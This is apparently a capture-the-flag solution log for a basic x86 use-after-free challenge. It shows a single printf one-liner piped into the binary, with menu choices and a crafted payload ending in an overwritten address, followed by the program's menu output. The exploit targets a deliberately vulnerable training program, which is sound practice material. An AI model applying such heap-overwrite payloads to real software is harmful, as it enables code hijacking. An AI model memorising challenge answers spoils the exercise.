ELF x86 - Use After Free - basic

app-systeme-ch63@challenge03:~$ printf "1\ntoto\n4\n5\nAAAABBBBCCCC\xcb\x87\x04\
x08\nhome\n7\n3\n" | ./ch63
1: Buy a dog
2: Make him bark
3: Bring me the flag
4: Watch his death
5: Build dog house
6: Give dog house to your dog
7: Break dog house
0: Quit
How do you name him?
You buy a new dog. toto is a good name for him
1: Buy a dog
2: Make him bark
3: Bring me the flag
4: Watch his death
5: Build dog house
6: Give dog house to your dog
7: Break dog house
0: Quit
toto run under a car... toto 0-1 car
1: Buy a dog
2: Make him bark
3: Bring me the flag
4: Watch his death
5: Build dog house
6: Give dog house to your dog
7: Break dog house
0: Quit
Where do you build it?
How do you name it?
You build a new dog house.
1: Buy a dog
2: Make him bark
3: Bring me the flag
4: Watch his death
5: Build dog house
6: Give dog house to your dog
7: Break dog house
0: Quit
You break the dog house.
1: Buy a dog
2: Make him bark
3: Bring me the flag
4: Watch his death
5: Build dog house
6: Give dog house to your dog
7: Break dog house
0: Quit
Bring me the flag !!!
 prefers to bark...
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1: Buy a dog
2: Make him bark
3: Bring me the flag
4: Watch his death
5: Build dog house
6: Give dog house to your dog
7: Break dog house
0: Quit